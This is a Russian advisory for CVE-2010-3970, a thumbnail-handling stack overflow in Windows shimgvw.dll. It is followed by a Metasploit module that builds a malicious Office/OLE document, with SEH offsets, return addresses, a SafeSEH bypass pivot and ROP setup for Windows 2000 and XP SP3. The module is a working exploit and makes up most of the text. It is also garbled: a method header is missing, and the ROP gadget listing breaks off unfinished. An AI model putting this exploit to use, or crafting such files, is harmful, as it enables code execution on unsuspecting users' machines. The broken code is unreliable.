Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе.
Уязвимость существует из-за ошибки при обработке эскизов изображений в
функции CreateSizedDIBSECTION() в файле shimgvw.dll. Удаленный
пользователь может с помощью специально сформированного эскиза вызвать
переполнение стека и выполнить произвольный код на целевой системе.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in the handling of thumbnails
within .MIC files and various Office documents. When processing a thumbnail bitmap
containing a negative 'biClrUsed' value, a stack-based buffer overflow occurs. This
leads to arbitrary code execution.
In order to trigger the vulnerable code, the folder containing the document must be
viewed using the "Thumbnails" view.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Moti & Xu Hao', # original discovery
'Yaniv Miron aka Lament of ilhack',
'jduck' # Metasploit module
],
'Version' => '$Revision: 11466 $',
'References' =>
[
[ 'CVE', '2010-3970' ],
#[ 'OSVDB', '?????' ],
#[ 'MSB', 'MS11-XXX' ],
#[ 'BID', '????' ],
[ 'URL', 'http://www.powerofcommunity.net/schedule.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'AutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00",
'DisableNops' => true # no need
},
'Platform' => 'win',
'Targets' =>
[
# This automatic target will combine all targets into one file :)
[ 'Automatic', { } ],
# Windows 2000 is a soft target... You're not still using it are you?
[ 'Windows 2000 SP0/SP4 English',
{
'Offset' => 1548, # Offset to SEH frame
'Ret' => 0x75022ac4 # p/p/r ws2help.dll v5.0.2134.1
}
],
# My test machine didn't have l3codeca.acm loaded (as mentioned in their slides)
# However, it did have msacm32.drv
[ 'Windows XP SP3 English',
{
'Offset' => 1560, # Offset to SEH frame
# Address from msacm32.drv v5.1.2600.0
'Ret' => 0x72d11676, # push esi / mov esi,[esp+0xc] / push [esi+0x54] / call [esi+0x5c]
# This ends up becoming eip due to above SafeSEH bypass
'PivotOffset' => 1652,
'RopStart' => 592
}
],
=begin
[ 'Windows Server 2003 SP2',
{
'Offset' => 1576, # Offset to SEH frame
'Ret' => 0xfeedfed5
# rop is possible with l3codeca.acm, but its not clear how to force it to be loaded.
# Also, it changed in Feburary 2010 ...
}
],
=end
# crash on a deref path to heaven.
[ 'Crash Target for Debugging',
{
'Ret' => 0xdac0ffee
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 15 2010'))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']),
], self.class)
end
out = File.expand_path(File.join(datastore['OUTPUTPATH'], datastore['FILENAME']))
stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE)
if (not stg)
raise RuntimeError, 'Unable to create output file'
end
stm = stg.create_stream("\x05SummaryInformation")
if (not stm)
raise RuntimeError, 'Unable to create SummaryInformation stream'
end
stm << generate_summaryinfo()
stm.close
stg.close
print_status("Generated output file #{out}")
end
def generate_summaryinfo
si = Rex::OLE::PropertySetStream.new
# First, get the address of our source buffer in relation to the
# SEH record pointer now saved in ESI
'mov eax, esi / pop edi / pop esi / ret',
:unused,
:unused,